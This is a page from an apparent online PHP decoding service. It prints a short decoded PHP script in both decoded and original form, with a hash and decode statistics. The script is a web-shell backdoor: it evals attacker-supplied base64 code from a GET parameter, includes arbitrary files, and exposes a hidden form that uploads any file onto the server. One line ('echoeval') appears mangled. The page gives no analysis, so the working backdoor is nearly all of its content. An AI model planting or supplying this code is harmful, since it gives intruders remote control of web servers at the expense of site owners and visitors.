Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(0); $in = $_GET["in"]; if (isset($in) && !empty($in)) { echoe..

Decoded Output download

<?php error_reporting(0); 
$in = $_GET["in"]; 
if (isset($in) && !empty($in)) { 
    echoeval(base64_decode("ZGllKGluY2x1ZGVfb25jZSAkaW4pOw==")); 
} 
$ev = $_GET["ev"]; 
if (isset($ev) && !empty($ev)) { 
    eval(base64_decode($ev)); 
    exit; 
} 
if ($_GET["send"] == "ok") { 
    echo "<form action='' method='post' enctype='multipart/form-data' name='country' id='country'><input type='file' name='file' size='50'><input name='_con' type='submit' id='_con' value='home'></form> "; 
    if ($_POST["_con"] == "home") { 
        if (@copy($_FILES["file"]["tmp_name"], $_FILES["file"]["name"])) { 
            echo "done :d"; 
        } else { 
            echo "error"; 
        } 
    } 
    exit; 
} ?>

Did this file decode correctly?

Original Code

<?php error_reporting(0);
$in = $_GET["in"];
if (isset($in) && !empty($in)) {
    echoeval(base64_decode("ZGllKGluY2x1ZGVfb25jZSAkaW4pOw=="));
}
$ev = $_GET["ev"];
if (isset($ev) && !empty($ev)) {
    eval(base64_decode($ev));
    exit;
}
if ($_GET["send"] == "ok") {
    echo "<form action='' method='post' enctype='multipart/form-data' name='country' id='country'><input type='file' name='file' size='50'><input name='_con' type='submit' id='_con' value='home'></form> ";
    if ($_POST["_con"] == "home") {
        if (@copy($_FILES["file"]["tmp_name"], $_FILES["file"]["name"])) {
            echo "done :d";
        } else {
            echo "error";
        }
    }
    exit;
}

Function Calls

error_reporting 1

Variables

$in None

Stats

MD5 85d1228acfda4376e5886fe7e586b520
Eval Count 0
Decode Time 142 ms